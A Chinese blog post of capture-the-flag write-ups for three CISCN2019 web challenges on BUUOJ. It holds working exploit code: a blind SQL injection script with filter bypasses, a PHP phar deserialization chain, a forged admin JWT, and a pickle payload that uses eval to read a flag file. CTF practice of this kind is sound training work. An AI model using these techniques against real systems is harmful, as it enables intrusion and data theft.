buuoj刷题笔记[CISCN2019(一)]
[CISCN2019 华北赛区 Day2 Web1]Hack World
前期注入测试
过滤空格、||、*、+、-
可以用如下逻辑 1%1 1/1 1^1
空格可以用()替代
EXP
import requests
import string
url="http://364aaec1-065b-42c1-97bf-e280f576346a.node2.buuoj.cn.wetolink.com/index.php"
temp=''
str1=string.printable
for i in range(1,12):
for a in str1:
data={
'id':f'1^(ascii(substr((select(flag)from(flag)),{i},1))={ord(a)})'
}
rep= requests.post(url=url,data=data)
print(data)
if 'Occured' in rep.text:
temp+=a
print('[+] output: '+temp)
break
#flag{98cf8686-c4df-4a83-ba2c-eeb9c1dd2a3e}
[CISCN2019 华北赛区 Day1 Web1]Dropbox
先找到危险函数file_get_contents方法,需要找到触发点
一个phar反序列化的点,原先是定位到download.php中if判断存在open方法,且该方法存在file_exists可以触发反序列化,但是发现不能输出close()方法内容.
FIleList类中存在__call
可以执行函数,且__destruct
方法存在输出$this->results内容。还需要找到触发__call
,User类__destruct
可以调用close方法。
POP
EXP
<?php
class User{
public $db;
}
class File{
public $filename;
public function __construct()
{
$this->filename='/flag.txt';
}
}
class FileList{
private $files;
private $results;
private $funcs;
public function __construct()
{
$this->files=array(new File());
$this->funcs=array();
$this->results=array();
}
}
$u = new User();
$u->db=(new FileList());
@unlink("test.phar");
$phar = new Phar("phar123.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($u); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename('phar123.phar','phar.jpg');
上传phar.jpg后,在delete.php删除该文件即可得flag
[CISCN2019 华北赛区 Day1 Web2]ikun
首页提示要求找到v6,py跑一波
访问链接跳转:http://7b6c1983-bc3e-4004-837b-9ef3b6fc7366.node2.buuoj.cn.wetolink.com:82/b1g_m4mber
爆破jwt秘钥,jwt.io替换用户名为admin生成新的秘钥
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
个人中心
网页源码
admin.py存在反序列化
exp
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
#c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!